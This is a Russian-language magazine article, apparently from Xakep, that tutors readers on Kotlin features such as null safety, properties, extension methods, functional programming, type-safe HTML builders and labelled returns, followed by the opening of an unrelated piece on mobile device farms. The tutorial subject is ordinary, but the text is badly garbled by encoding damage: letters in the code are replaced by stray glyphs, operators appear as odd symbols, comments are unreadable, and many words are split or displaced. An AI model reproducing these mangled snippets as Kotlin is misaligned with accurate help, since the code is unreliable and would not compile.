С этим свя зано нес коль ко пра вил, в том чис ле сле дующее: толь ко откры тый
класс может иметь откры тые методы. Более того, методы, помечен ные 

,  явля ются  так же  ‐метода ми.  Для  того  что бы  зак рыть  ‐
метод, нуж но исполь зовать  :

o�er‐
ride open o�erride

�inal

open class AnotherDeri�edſƀ ś Baseſƀ Ƈ
    �inal o�erride �un �ſƀ Ƈƈ
ƈ

Kotlin лакони чен и пос ледова телен,   может быть частью пер вично го
конс трук тора:

o�erride

inter�ace Foo Ƈ
    �al countś Int
ƈ
class Barɨſo�erride �al countś Intƀ ś Foo
class Bar2 ś Foo Ƈ
    o�erride �ar countś Int ʰ ɥ
ƈ

Те перь пару слов про ООП, ска жем  так,  в  экзо тичес ком сти ле:  абс трак тные
клас сы, конеч но, есть и в Kotlin, но, что инте рес но, непус той откры тый метод
может быть пере опре делен пус тым в абс трак тном нас ледни ке!

В  Kotlin  нет  ста тичес ких  методов,  и  соз датели  язы ка  рекомен дуют  поль‐ 
зовать ся фун кци ями  на  уров не  пакета  (то  есть  не  при вязан ными  к  кон крет‐ 
ному  клас су).  Если мы все‐таки  хотим иметь  что‐то похожее на ста тичес кие
методы  в  Java,  то  есть  ненас леду емые,  но  как‐то  при вязан ные  к  клас су,  то
типич ный при мер здесь — это   (factory method), ког да мы
можем  вос поль зовать ся  воз можностью  соз дания  объ екта‐ком пань она.
Для тех, кто прог рамми рует на Scala, это все очень зна комо:

фаб ричный метод

inter�ace FactoryʳTʴ Ƈ
    �un createſƀś T
ƈ
class �yClass Ƈ
    companion ob�ect ś Factoryʳ�yClassʴ Ƈ
        o�erride �un createſƀś �yClass ʰ �yClassſƀ
    ƈ
ƈ
�al instance ʰ �yClassŜcreateſƀ

Ес ли же мы хотим получить сам объ ект‐ком пань он, это мож но сде лать так:

class �yClass Ƈ
    companion ob�ect Ƈ
    ƈ
ƈ
�al x ʰ �yClassŜCompanion

Бо лее  того,  сущес тву ет  еще  так  называ емое  объ ектное  выраже ние,  но  эту
тему  мы  оста вим  до  сле дующей  статьи,  а  жела ющие  могут  най ти  все,  что
необ ходимо, в пер воис точни ке —  .KotlinLang.org

СВОЙСТВА
Свой ства  (properties)  —  весь ма  полез ный  инс тру мент  прог рамми рова ния,
и надо ска зать, что в Kotlin этот воп рос решен очень инте рес но:

�al is�mptyś Boolean
    getſƀ ʰ thisŜsi�e ʰʰ ɥ

Это  доволь но  прос той  при мер,  но  впол не  акту аль ный.  Здесь    —
это  вычис лимое  свой ство  (пред полага ется,  что  у  клас са,  внут ри  которо го
находит ся фун кция,  есть  свой ство  ).  Так же  для  свой ства  мож но  задать
и  сет тер  через  ,  и  уста нав ливать  зна чение мож но будет  через
прис ваива ние  .

is�mpty

si�e
setſƀ ʰ ŜŜŜ

ȜȠȳɏȥȖȢȝȥȦȖȔʰțȡȔȫșȡȜș

�ar stringRepresentationś String
    getſƀ ʰ thisŜtoStringſƀ
    setſ�alueƀ Ƈ
        ŵŵ ǧȘșȥȰ Ƞȯ ȠȢȚșȠ ȥȘșȟȔȦȰ ȫȦȢ‐ȡȜȕȧȘȰ ȥ �alue
    ƈ

С  одной  сто роны,  это  менее  проз рачно,  чем  исполь зование  явных  get/set‐
методов в сти ле Java, одна ко это здо рово раз гру жает код.

Бо лее того, начиная с вер сии Kotlin 1.1 мож но не про писы вать тип свой‐ 
ства явно, если он может быть выведен авто мати чес ки:

�al is�mpty getſƀ ʰ thisŜsi�e ʰʰ ɥ ŵŵ ǨȠșșȦ ȦȜȣ Boolean

Ес ли нам нуж но поменять толь ко видимость или анно тиро вать   или  , то
это  доволь но  лег ко  сде лать  с  помощью  ука зания  области  видимос ти
или анно тации перед   или  :

get set

get set

�ar setter�isibilityś String ʰ ɑabcɑ
    pri�ate set ŵŵ The setter is pri�ate and has the de�ault implem
entation
�ar setter�ithAnnotationś Anyţ ʰ null
    ɒIn�ect set ŵŵ Annotate the setter with In�ect

В  каком‐то  смыс ле  в  Kotlin  нет  полей,  а  есть  толь ко  свой ства,  но  опять  же
за деталя ми нас тоятель но  .ре комен дую обра тить ся к источни ку

ИНТЕРПОЛЯЦИЯ СТРОК
Это прос то, понят но и очень при ятно:

�al x ʰ ɨɥ
�al y ʰ 2ɥ
printlnſɑxʰɛx yʰɛyɑƀ

ЗНАЧЕНИЯ И ВЫВОД ТИПОВ
Вмес то  модифи като ра  final  в  язы ке  Kotlin  явным  обра зом  раз лича ются  кон‐ 
стан ты и перемен ные через раз личные клю чевые сло ва. Для объ явле ния кон‐ 
стант (зна чений) исполь зует ся клю чевое сло во  , а для перемен ных — клю‐ 
чевое  сло во  .  И  сно ва  это  дол жно  быть  хорошо  зна комо  тем,  кто  прог‐ 
рамми рует  на  Scala.  Вооб ще,  опре деле ние  в  Kotlin  син такси чес ки  решено
ина че, чем в Java:

�al
�ar

�al xś Int ʰ ɨɥ

Ис поль зование  подоб ной  конс трук ции  дает  боль шую  сво боду,  потому  что
в  язы ке  при сутс тву ет  механизм  вывода  типов  и  во мно гих  слу чаях  ука зание
типа мож но опус тить.

�al result ʰ sequenceO�ſɨɥƀŜmap Ƈ itŜtoStringſƀ ƈŜ�lat�ap Ƈ itŜtoChar
ArrayſƀŜasSequenceſƀ ƈŜtoListſƀ

В дан ном при мере ком пилятор самос тоятель но выведет тип как  .
Нес мотря  на  все  радос ти  вывода  типов,  все‐таки  в  слож ных  слу чаях  я
рекомен дую про писы вать тип явно, прос то для того, что бы получить ошиб ку
ком пиляции  как  мож но  бли же  к  ее  реаль ному  источни ку.  Потому  что,  нап‐
ример, если в условном выраже нии типы для раз ных вет вей раз лича ются, то
ком пилятор уни фици рует  тип до какого‐то обще го, в  худ шем слу чае до  .
В резуль тате ошиб ка ком пиляции будет там, где ты переда ешь соот ветс тву‐ 
ющее  зна чение,  а  не  там,  где  оно  было  опи сано.  Воз можность  быс трой
локали зации  оши бок  очень  важ на,  осо бен но  в  боль ших  сис темах,  что  при‐ 
водит нас к одной из самых инте рес ных фишек язы ка Kotlin.

ListʳCharʴ

Any

mailto:vitaly@betamind.ru
https://xakep.ru/2016/08/10/kotlin/
https://kotlinlang.org/docs/reference/object-declarations.html#object-expressions-and-declarations
https://kotlinlang.org/docs/reference/properties.html
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ДРУГОЕ

řŝœŗŜŒ  НАЧАЛО СТАТЬИΝ

NULL SAFETY
Вот прав да,  ког да кто‐то говорит про Kotlin,  то сра зу дума ет про Null Safety,
а тот, кто зна ет, что такое Null Safety, вспо мина ет про Kotlin. Для начала раз‐ 
берем ся,  что  это  вооб ще  такое.  Те,  кто  прог рамми рует  на  Java,  очень
не  любят  получать    (NPE)  где‐нибудь  на  сер вере,
прос то потому,  что  stack  trace  час то недос таточ но информа тивен для  выяв‐ 
ления ошиб ки. Это в пер вую оче редь свя зано с импе ратив ной при родой язы‐ 
ка Java: мес то, где опре деле на (или объ явле на, но не опре деле на) перемен‐
ная,  и  то мес то,  где  она  исполь зует ся,  могут  находить ся  очень  далеко  друг
от дру га  как  в  прос транс твен ном  (в  коде),  так  и  во  вре мен ном  (по  вре мени
выпол нения) отно шении.

NullPointer�xception

В язы ке Kotlin этот воп рос решен доволь но инте рес но, так как ты на уров‐ 
не язы ка кон тро лиру ешь, мож но ли прис ваивать  ‐зна чение соот ветс тву‐
ющей перемен ной. При чем по умол чанию это зап рещено:

null

�un �ſsś Stringƀś Int Ƈ
    return sŜindexO�ſɐʰɐƀ
ƈ
ŵŵ �ſnullƀ       ŵŵ ǮȬȜȕȞȔŠ
�ſɑHello �orldɑƀ ŵŵ Ǣȥș ȩȢȤȢȬȢ

Ес ли  же  мы  хотим,  что бы  фун кция  (перемен ная)  при нима ла  нулевые  зна‐ 
чения, то надо бы написать так:

�un �ſsś Stringţƀś Int Ƈ
    return sţŜindexO�ſɐʰɐƀ ţś ‐ɨ
ƈ

Вы раже ние в  return — это спе циаль ный вари ант опе рато ра  «элвис»  (elvis —
он  так  называ ется,  потому  что  ?:  похоже  на  emoji  в  сти ле  Элви са  Прес ли),
который пред став ляет собой не что иное, как син такси чес кий сахар для конс‐ 
трук ции

i� ſs Šʰ nullƀ sŜindexO�ſɐʰɐƀ else ‐ɨ

Пос леднее  условное  выраже ние —  это  при мер  так  называ емо го  smart  cast
в Kotlin, и если в усло вии была про вер ка на null, то вызов s.indexOf() счи тает ся
абсо лют но легитим ным. Этот же механизм работа ет, если мы будем переда‐ 
вать аргу мен ты, которые могут быть null, в качес тве ненуле вого фор маль ного
парамет ра в фун кции.

�un gſcannotBeNullś Stringƀ Ƈ
   printlnſcannotBeNullƀ  
ƈ
�un �ſcanBeNullś Stringţƀ Ƈ
    ŵŵ  gſcanBeNullƀ ȢȬȜȕȞȔŠ
    i� ſcanBeNull Šʰ nullƀ Ƈ
        ŵŵ ǲșȣșȤȰ Ȗȥș ȔȕȥȢȟȲȦȡȢ ȞȢȤȤșȞȦȡȢ
        gſcanBeNullƀ    
    ƈ
ƈ

А что, если мы в каком‐то мес те точ но зна ем, что перемен ная будет про ини‐ 
циали зиро вана,  но  вна чале  она  рав на  null  (к  это му  воп росу  в  более общем
слу чае мы вер немся чуть поз днее)?

�ar canBeNullś Stringţ ʰ null
ŵŵ ŜŜŜ
canBeNull ʰ ɑHelloɑ
ŵŵ ŜŜŜ
�al cannotBeNullś String ʰ canBeNullŠŠ

Здесь мы явным обра зом берем на себя ответс твен ность  за небезо пас ное
пре обра зова ние. Если все‐таки перемен ная canBeNull не будет опре деле на,
как пред полага ется,  то мы получим  . И в чем,
собс твен но, плю сы такого под хода по срав нению с обыч ной Java? Такой под‐ 
ход  поз воля ет  локали зовать  ошиб ку.  Даже  если  мы  будем  писать

,  то  сам  син таксис  помога ет  нам  понять,  где  имен но
проб лема.  Стро го  говоря,  воз можна  слож ная  цепоч ка,    к  при‐ 
меру, и в этом слу чае так же понят но,  где источник потен циаль ных проб лем.
Пра виль ное  исполь зование  такого  под хода  поз воля ет  изо лиро вать  круп ные
учас тки кода от потен циаль ного NPE! Мож но исполь зовать конс трук цию 

,  но в отли чие от пре дыду щего слу чая  тип это го выраже ния
будет  , а не  . Это озна чает, что если   равен  , то и само
зна чение  будет  рав но  .  Таким  обра зом,    будет  ,  если
любое из зна чений в цепоч ке рав но null. Тем, кто зна ком с фун кци ональ ным
прог рамми рова нием,  это  напоми нает  аппли катив ные  фун кто ры  и  монаду
Maybe в Haskell.

�otlinNullPointer�xception

canBeNullŠŠŜlength
aŠŠŜbŜcŠŠŜd

can‐
BeNullţŜlength

Intţ Int canBeNull null
null aţŜbţŜcţŜd null

Еще одна инте рес ная осо бен ность Kotlin  в работе с   — это исполь‐ 
зование  . Если мы хотим, что бы для ненуле вых зна чений была выпол нена
какая‐то опе рация, то мож но сде лать так:

null
let

�al list�ithNullsś ListʳStringţʴ ʰ listO�ſɑAɑř nullƀ
�or ſitem in list�ithNullsƀ Ƈ
    itemţŜlet Ƈ printlnſitƀ ƈ ŵŵ ǯșȫȔȦȔșȠ A Ȝ ȜȗȡȢȤȜȤȧșȠ null
ƈ

Для  при веде ния  типов  в  Kotlin  исполь зует ся  опе ратор  ,  одна ко  в  слу чае
пре обра зова ния из типа, который не допус кает null, мож но получить 

 (если мы пре обра зуем в Int). Есть и более «умный» вари ант:

as
kotlinŜ

TypeCast�xceptionś null cannot be cast to non‐null type kotlinŜ
Int

�al yś Anyţ ʰ ɨɥ
�al xś Intţ ʰ y asţ Int

Ес ли все‐таки   содер жит  , то   тоже будет  , но дру гого типа.y null x null
Тут, конеч но, еще сле дует знать, что делать, если мы не можем сра зу ини‐ 

циали зиро вать  зна чение  свой ства,  а  хотим  сде лать  его  null‐safe  (если  пос‐ 
ледне го тре бова ния нет, то мы уже видели, как с этим быть). К при меру, если
мы  исполь зуем  dependency  injection.  Для  этих  целей  есть  спе циаль ный
модифи катор  :lateinit

public class �yTest Ƈ
    lateinit �ar sub�ectś TestSub�ect
    ɒSetUp �un setupſƀ Ƈ
        sub�ect ʰ TestSub�ectſƀ
    ƈ
    ɒTest �un testſƀ Ƈ
        sub�ectŜmethodſƀ  ŵŵ Dere�erence directly
    ƈ
ƈ

Од нако если попытать ся исполь зовать такое свой ство до того, как оно было
ини циали зиро вано, то мы получим соот ветс тву ющее исклю чение.

EXTENSION METHODS
Вот это одна из моих самых любимых воз можнос тей язы ка. Если ты любишь
писать ути литы (ну или не любишь, но у них твой пас порт, и они тебя зас тавля‐ 
ют :)) — то это то, что нуж но! Kotlin поз воля ет опре делять методы клас са вне
опре деле ния  самого  клас са.  На  прак тике  это  озна чает,  что  ты  можешь
добавить  недос тающую  фун кци ональ ность  пря мо  в  нуж ный  класс.  Конеч но,
такой метод не будет полимор фным, но глав ное, что он прос то будет.

�un StringŜcharCountſƀś �apʳCharř Intʴ Ƈ
    �al mś Hash�apʳCharř Intʴ ʰ Hash�apſƀ
    thisŜ�or�ach Ƈ
        �al count ʰ mŜgetOrDe�aultſitř ɥƀ
        mƃitƄ ʰ count ʫ ɨ
    ƈ
    return m
ƈ

ИНФИКСНАЯ ЗАПИСЬ
Прог раммис ты, зна комые со Scala и Haskell, навер ное, при вык ли к тому, что
фун кция может быть в инфик сной фор ме. К счастью, в Kotlin эта воз можность
тоже  есть,  хотя,  конеч но,  не  такая  гиб кая  (тут  все  дол жно  быть  про писа но
явно):

in�ix �un StringŜplusſxś Stringƀ ʰ this ʫ x
ɑhelloɑ plus ɑworldɑ

ФУНКЦИОНАЛЬНОЕ ПРОГРАММИРОВАНИЕ
Я уже   в сво их стать ях, но рис кну
пов торить, что ФП — это глав ный тренд в язы ках прог рамми рова ния за пос‐ 
ледние 7–10 лет. Конеч но, все это сущес тву ет годов с семиде сятых, но в биз‐ 
нес начало про никать срав нитель но недав но, и Kotlin, как впол не праг матич‐ 
ный  язык  прог рамми рова ния  со  сме шан ной  парадиг мой,  содер жит  необ‐ 
ходимый минималь ный набор воз можнос тей, которые поз воля ют в дос таточ‐ 
ной  мере  отно сить  его  к  фун кци ональ ным  язы кам.  Надо  ска зать,  что  даже
вывод типов — это воз можность, при сущая ско рее фун кци ональ ным язы кам.
Основные  прин ципы  ООП  зна ют  все:  инкапсу ляция,  нас ледова ние
и полимор физм,  хотя и пер вое и пос леднее  так же при сущи и фун кци ональ‐ 
ным язы кам. А вот что каса ется фун кци ональ ного прог рамми рова ния,  то  тут
не  все  так  прос то.  Тем  не  менее  мож но  наз вать  нес коль ко  базовых  кон‐ 
цепций:

пи сал о фун кци ональ ном прог рамми рова нии

1. Фун кции  явля ются  объ екта ми  пер вого  клас са,  то  есть  их мож но  переда‐ 
вать в качес тве парамет ра и получать в качес тве зна чения.

2. Хвос товая  рекур сия  или  рекур сия  с  акку муля тором,  то  есть  если  рекур‐ 
сивный вызов пос ледний в фун кции, то ком пилятор опти мизи рует все так,
что с точ ки зре ния машин ного кода все будет выг лядеть прос то как цикл.

3. Не изме няемость,  тоже  доволь но  популяр ная  кон цепция фун кци ональ ных
язы ков,  осо бен но  чис тых,  но  в  язы ках  со  сме шан ной  парадиг мой  она
пред став лена лишь час тично, с помощью val и неиз меня емых кол лекций.

4. Со пос тавле ние с образцом и алгебра ичес кие типы и кор тежи.

Сей час мы рас смот рим язык Kotlin с точ ки зре ния всех этих осо бен ностей.  
Что каса ется пер вого пун кта, тут, конеч но, все сра зу вспо мина ют так называ‐ 
емые лям бда‐фун кции. У Kotlin с ними все в поряд ке. Давай опре делим ком‐ 
позицию фун кций:

�un ʳSř Tř Rʴ composeſgś ſTƀ ‐ʴ Rř �ś ſSƀ ‐ʴ Tƀś ſSƀ ‐ʴ R ʰ Ƈ gſ�ſitƀ
ƀ ƈ

Здесь    —  это  встро енное  имя  для  фор маль ного  парамет ра  фун кции,  то
есть то же самое, что  . Выраже ние в пра вой час ти и есть
собс твен но  лям бда‐фун кция  (лям бда‐выраже ние).  Для  того  что бы  переда‐ 
вать саму фун кцию, исполь зует ся сле дующий нехит рый син таксис:

it
Ƈ it ‐ʴ gſ�ſitƀƀ ƈ

listO�ſɑHelloɑř ɑworldɑƀŜmapſStringśślengthƀ

Те перь перей дем  ко вто рому пун кту  (хвос товая рекур сия). При веду прос той
при мер  из  книж ки  «Струк тура  и  интер пре тация  компь ютер ных  прог рамм»
для вычис ления непод вижной точ ки фун кции, то есть такой, ког да  .�ſxƀ ʰʰ x

tailrec �un �indFixPointſxś Double ʰ ɨŜɥř �ś ſDoubleƀ ‐ʴ Doubleƀś 
Double
        ʰ i� ſ�athŜabsſx ‐ �ſxƀƀ ʳ ɨŜɥe‐ɭƀ x else �indFixPointſ�ſxƀř 
�ƀ

Этот  код  пос ле  ком пиляции  будет  раз вернут  в  цикл,  и  перепол нение  сте ка
не нас тупит никог да. Что бы при мер не выг лядел сов сем искусс твен но, мож но
написать, нап ример, фун кцию извле чения квад ратно го кор ня:

�un sqrtſxś Doubleƀ ʰ �indFixPointſxƀ Ƈ y ‐ʴ ſx ŵ y ʫ yƀ ŵ 2 ƈ

Ес ли с треть им пун ктом  (неиз меня емость) все более или менее понят но,  то
пос ледний  (сопос тавле ние  с  образцом  и  алгебра ичес кие  типы  и  кор тежи)
тре бует  некото рых  пояс нений.  В  Kotlin  воп рос  с  алгебра ичес кими  типами
решен при мер но так же, как и в Scala. В   я как раз рас‐ 
ска зывал,  чем  похожи  фун кци ональ ные  язы ки,  на  при мере  того,  как  писать
на них прос тые интер пре тато ры. Здесь при веду  код на Kotlin пря мо с сай та
офи циаль ной докумен тации, где рас смат рива ется похожий при мер:

од ной из сво их ста тей

sealed class �xpr
data class Constſ�al numberś Doubleƀ ś �xprſƀ
data class Sumſ�al eɨś �xprř �al e2ś �xprƀ ś �xprſƀ
ob�ect NotANumber ś �xprſƀ
�un e�alſexprś �xprƀś Double ʰ when ſexprƀ Ƈ
    is Const ‐ʴ exprŜnumber
    is Sum ‐ʴ e�alſexprŜeɨƀ ʫ e�alſexprŜe2ƀ
    NotANumber ‐ʴ DoubleŜNaN
ƈ

Здесь, как и в Scala,  клю чевое сло во   нап равле но на решение проб‐ 
лемы ими тации алгебра ичес ких типов с помощью нас ледова ния, а имен но —
клю чевое сло во раз реша ет нас ледовать толь ко внут ри фай ла. Одна ко не сто‐ 
ит  забывать,  что если мы дей стви тель но  хотим огра ничить иерар хию,  то мы
дол жны объ являть нас ледни ков нашего  ‐клас са как    (так  как на
нас ледни ков   пра вило «запеча тыва ния» не дей ству ет). На самом деле
это  дей стви тель но  удоб но,  ког да  исполь зует ся  вари ант  сопос тавле ния
с образцом про тив клас са при исполь зовании  , в этом слу чае вет ка 
не  нуж на,  и  ком пилятор  это  отсле жива ет.  До  Kotlin  1.1  все  нас ледни ки

‐клас са  дол жны  были  быть  как  вло жен ные  (nested)  клас сы,  одна ко
с  вер сии  1.1  все  ста ло  сущес твен но  сво бод нее.  К  это му  же  воп росу
с  алгебра ичес кими  типами  нуж но  отнести  и  data‐клас сы.  Это  спе циаль ный
вид  клас сов,  для  которых  ком пилятор  генери рует  методы  , 

  и    в  чита емой фор ме вро де  .
Так же методы   поз воля ют получить свой ства в нуж ном поряд ке,
что  дает  воз можность  про изво дить  деконс трук цию  объ екта.  В  язы ке  Kotlin
(пока)  нет  кор тежей,  но  сущес тву ет  полез ный  син таксис,  как  раз  свя зан ный
с  :

sealed

sealed �inal
sealed

when else

sealed

equalsſƀ hash‐
Codeſƀ toStringſƀ Userſnameʰ
ohnř  ageʰɫ2ƀ

componentNſƀ

componentNſƀ

data class Userſ�al nameś Stringř �al ageś Intƀ
�al person ʰ Userſname ʰ ɑ
ohnɑř age ʰ ɫ2ƀ
�al ſnameř ageƀ ʰ person

Пос ледняя строч ка — это то же самое, что и

�al name ʰ personŜcomponentɨſƀ
�al age ʰ personŜcomponent2ſƀ

Так же соз дает ся полез ный метод   с такой же сиг натурой, как конс трук‐ 
тор data‐клас са. Это очень удоб но, ког да нуж но ско пиро вать объ ект, заменив
там что‐нибудь.

copyſƀ

ФУНКЦИОНАЛЬНЫЕ ЛИТЕРАЛЫ С ПРИЕМНИКОМ И EXTENSION-
ЛЯМБДЫ
Kotlin  поз воля ет  вызывать  фун кци ональ ный  литерал  с  ука зани ем  объ‐ 
екта‐при емни ка  (receiver  object),  а  внут ри  тела  фун кци ональ ного  литера ла
мож но исполь зовать объ ект‐при емник без допол нитель ных ква лифи като ров.

�al sum ʰ �un IntŜſotherś Intƀś Int ʰ this ʫ other
ɨŜsumſ2ƀ

Здесь мы опре дели ли фун кцию   для клас са  . Кажет ся, что в этом нет
ничего  инте рес ного.  Одна ко  эта  воз можность  край не  полез на  в  соз дании
бил деров в сти ле Groovy.

sum Int

Бил деры —  это  очень  удоб ный  инс тру мент  соз дания  DSL  для  опи сания
веб‐стра ниц, UI‐ком понен тов и так далее.

class HT�L Ƈ
    �un bodyſƀ Ƈ ŜŜŜ ƈ
ƈ
�un htmlſinitś HT�LŜſƀ ‐ʴ Unitƀś HT�L Ƈ
    �al html ʰ HT�Lſƀ   ŵŵ ǱȢțȘȔșȠ ȢȕȮșȞȦ‐ȣȤȜșȠȡȜȞ
    htmlŜinitſƀ         ŵŵ ǯșȤșȘȔșȠ ȢȕȮșȞȦ‐ȣȤȜșȠȡȜȞ Ȗ ȟȳȠȕȘȧ
    return html
ƈ

Фун кция   при нима ет в качес тве парамет ра   дру гую фун кцию. Тип
этой фун кции будет  .

htmlſƀ init
HT�LŜſƀ ‐ʴ Unit

Это и есть фун кци ональ ный тип с при емни ком. В свою оче редь, это зна‐ 
чит, что мы дол жны передать экзем пляр   в фун кцию, и тог да методы объ‐ 
екта‐при емни ка будут дос тупны внут ри фун кции (даже без  ):

HT�L
this

html Ƈ       ŵŵ ǫȳȠȕȘȔ ȥ ȣȤȜșȠȡȜȞȢȠ
    bodyſƀ   ŵŵ ǢȯțȢȖ ȠșȦȢȘȔ ȡȔ ȢȕȮșȞȦș‐ȣȤȜșȠȡȜȞș
ƈ

Мож но, конеч но, про делать все то же самое с head и body:

�un headſinitś HeadŜſƀ ‐ʴ Unitƀ ś Head Ƈ
    �al head ʰ Headſƀ
    headŜinitſƀ
    childrenŜaddſheadƀ
    return head
ƈ
�un bodyſinitś BodyŜſƀ ‐ʴ Unitƀ ś Body Ƈ
    �al body ʰ Bodyſƀ
    bodyŜinitſƀ
    childrenŜaddſbodyƀ
    return body
ƈ

Од нако  такое  решение  выг лядит  избы точ ным,  потому  что  содер жание
методов  сов пада ет  с  точ ностью  до  объ екта‐при емни ка,  и  име ет  смысл
написать более общий вари ант:

protected �un ʳT ś �lementʴ initTagſtagś Tř initś TŜſƀ ‐ʴ Unitƀś T Ƈ
    tagŜinitſƀ
    childrenŜaddſtagƀ
    return tag
ƈ
�un headſinitś HeadŜſƀ ‐ʴ Unitƀ ʰ initTagſHeadſƀř initƀ
�un bodyſinitś BodyŜſƀ ‐ʴ Unitƀ ʰ initTagſBodyſƀř initƀ

В резуль тате мож но получить что‐то вро де

html Ƈ
    head Ƈ
        title ƇʫɑHello �otlin DSLɑƈ
    ƈ
    ŵŵ ŜŜŜ
ƈ

Здесь унар ный плюс — это прос то син такси чес кий сахар для нашего DSL:

operator �un StringŜunaryPlusſƀ Ƈ
    childrenŜaddſText�lementſthisƀƀ
ƈ

Все было бы прек расно, но ведь мож но сде лать что‐нибудь в этом роде:

html Ƈ
    head Ƈ
        head Ƈƈ ŵŵ ǢȢȦ ȱȦȢ ȡș ȢȫșȡȰ ȩȢȤȢȬȢŠ
    ƈ
    ŵŵ ŜŜŜ
ƈ

К  счастью,  в  Kotlin  начиная  с  вер сии  1.1  есть  воз можность  кон тро лиро вать
область  видимос ти  (scope  control)  для  объ екта‐при емни ка.  Что бы  ука зать
ком пилято ру,  что  нуж но  кон тро лиро вать  области  видимос ти  в  DSL,  исполь‐ 
зует ся анно тация  . С ее помощью мы можем соз дать спе циали‐ 
зиро ван ную анно тацию для нашего бил дера:

ɒDsl�arker

ɒDsl�arker
annotation class HtmlTag�arker

Та кая анно тация и называ ется DSL‐мар кером. Что бы решить наши проб лемы,
мы дол жны таким обра зом анно тиро вать наши клас сы,   и  . С прак‐ 
тичес кой точ ки зре ния име ет смысл соз дать один супер класс и анно тиро вать
его (в этом слу чае не при дет ся анно тиро вать отдель но клас сы   и  ):

HT�L Head

HT�L Head

ɒHtmlTag�arker
abstract class Tagſ�al nameś Stringƀ Ƈ ŜŜŜ ƈ
class HT�Lſƀ ś Tagſɑhtmlɑƀ Ƈ ŜŜŜ ƈ
class Headſƀ ś Tagſɑheadɑƀ Ƈ ŜŜŜ ƈ

Те перь ком пилятор выдаст ошиб ку, если мы решим исполь зовать   внут ри
.  Одна ко  все  еще  оста ется  воз можность  исполь зовать  внеш ний  объ‐ 

ект‐при емник через  .

head
head

thisɒhtmlŜhead Ƈ ƈ
Здесь  я,  конеч но,  при вел  не  весь  код,  а  толь ко  некото рые  час ти,  что бы

мож но  было  понять  основные  идеи.  Струк тура  клас сов,  с  которой  свя заны
фун кции,  сна чала  может  показать ся  не  впол не  оче вид ной.  В  этом  слу чае  я
сно ва рекомен дую обра тить ся к  .пер воис точни ку, где есть весь код

МЕТКИ И НЕЛОКАЛЬНЫЙ RETURN
Мы толь ко что замети ли, что проб лема с областью видимос ти очень акту аль‐ 
на для DSL, одна ко если дос таточ но агрессив но поль зовать ся фун кци ями, то
подоб ный воп рос воз ника ет даже тог да, ког да мы прос то хотим сде лать 

.
re‐

turn

�al ints ʰ listO�ſɨř2řɥř3ƀ
�un �ooſƀ Ƈ
    intsŜ�or�ach Ƈ
        i� ſit ʰʰ ɥƀ return
        printſitƀ
    ƈ
ƈ

Как мы зна ем, то, что здесь внут ри  , — это лям бда‐выраже ние. Воз‐ 
ника ет  весь ма  нет риви аль ный  воп рос:  куда  имен но  вер нет  нас  ?
В этом кон крет ном слу чае   вер нет из  , но это потому, что 

  объ явлен  как    и  про исхо дит  баналь ная  под ста нов ка.  В  общем
слу чае  это  был  бы  локаль ный  .  Если  же  мы  хотим  вер нуть ся  толь ко
из лям бда‐выраже ния, то нуж но вос поль зовать ся механиз мом меток:

�or�ach
return

return �ooſƀ �or‐
�ach inline

return

�un �ooſƀ Ƈ
    intsŜ�or�ach litɒ Ƈ
        i� ſit ʰʰ ɥƀ returnɒlit
        printſitƀ
    ƈ
ƈ

На самом деле совер шенно не обя затель но соз давать мет ку, но мож но вос‐ 
поль зовать ся  мет кой  неяв ной  (с  тем  же  име нем,  что  и  фун кция,  куда  было
переда но лям бда‐выраже ние):

�un �ooſƀ Ƈ
    intsŜ�or�ach Ƈ
        i� ſit ʰʰ ɥƀ returnɒ�or�ach
        printſitƀ
    ƈ
ƈ

Еще мож но заменить лям бда‐выраже ние на ано ним ную фун кцию, и тог да 
 будет воз вра щать нас из этой ано ним ной фун кции:

re‐
turn

�un �ooſƀ Ƈ
    intsŜ�or�achſ�unſ�alueś Intƀ Ƈ
        i� ſ�alue ʰʰ ɥƀ return
        printſ�alueƀ
    ƈƀ
ƈ

ВМЕСТО ЗАКЛЮЧЕНИЯ
В сле дующей статье мы раз берем более прод винутый матери ал (Виталий —
парень  занятой,  так  что  вы,  дорогие  читате ли,  не  думай те,  что  я  отож му
из  него  сле дующую  статью  очень  ско ро.  :)  —  Прим.  ред.),  боль шая  часть
из которо го будет касать ся соп рограмм (coroutines). Как уже ста ло понят но,
те,  кому  очень  хочет ся  сра зу  как  мож но  боль ше  узнать  про  Kotlin,  могут
почитать  офи циаль ную  докумен тацию,  на  базе  которой  в  пер вую  оче редь
и пос тро ена дан ная статья. Так же всем рекомен дую прек расный ресурс 

 и, конеч но,  . На этом пока все.
Awe‐

some‐Kotlin kotlin.link

https://xakep.ru/author/hudobakshov/
https://xakep.ru/2016/01/21/haskell-ocaml-scala/
https://kotlinlang.org/docs/reference/type-safe-builders.html
https://github.com/KotlinBy/awesome-kotlin
https://kotlin.link/
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řŝœŗŜŒ

Еще в далекие вре мена, ког да балом смар тфо нов зап равля‐ 
ли  Nokia  и  Microsoft,  воз никла  одна  харак терная  осо бен‐ 
ность мобиль ной раз работ ки — раз ношерс тность устрой ств
по  харак терис тикам  и  модифи каци ям  опе раци онок.  При‐ 
ходи лось тес тировать при ложе ние не толь ко на раз ных вер‐ 
сиях  ОС,  но  и  на  раз ных  физичес ких  устрой ствах.  Пос ле
выхода  iOS  самих  моделей  телефо нов  всег да  было  мало,
поэто му с ними проб лем не воз никало. А вот в мире Android
проб лема  фраг мента ции  вста ла  во  весь  рост.  Моделей
на рын ке тысячи, и все вре мя появ ляют ся новые, и твое при‐ 
ложе ние или игра дол жны гаран тирован но работать на каж‐ 
дой из них. Добавим еще раз ные вер сии про шивок на этих
моделях… И пой мем, что вруч ную пот ребу ется куча челове‐ 
ко‐часов для про вер ки каж дого релиза.

ФЕРМЫ УСТРОЙСТВ
Так  как  проб лема  с  раз нооб рази ем  пар ка  устрой ств  воз никла  еще  в  ста‐ 
родав ние вре мена, уже Nokia начала пред лагать сво им раз работ чикам сер‐ 
вис  по  арен де  смар тфо нов. Мож но  было  пос тавить  при ложе ние  на  устрой‐ 
ство  и  в  режиме  уда лен ного  управле ния  руками  прой ти  по  клю чевым  сце‐ 
нари ям.  Это  было  бес плат но,  и  некото рые  устрой ства  при ходи лось  дол го
ждать, зато такое тес тирова ние давало раз работ чику надеж ду, что софт будет
работать  кор рек тно  на  раз личных  смар тфо нах  и,  зна чит,  у  поль зовате лей
пре тен зий  не  ока жет ся.  Начина ние  было  хорошим,  и  фер мы  устрой ств
получи ли свое даль нейшее раз витие — сами ОС начали пре дос тавлять инс‐ 
тру мен ты для ими тации дей ствий поль зовате ля. То есть тес тиров щик или раз‐ 
работ чик  пишут  скрипт,  прит воря ющий ся  челове ком.  Добавь  сюда  удоб ные
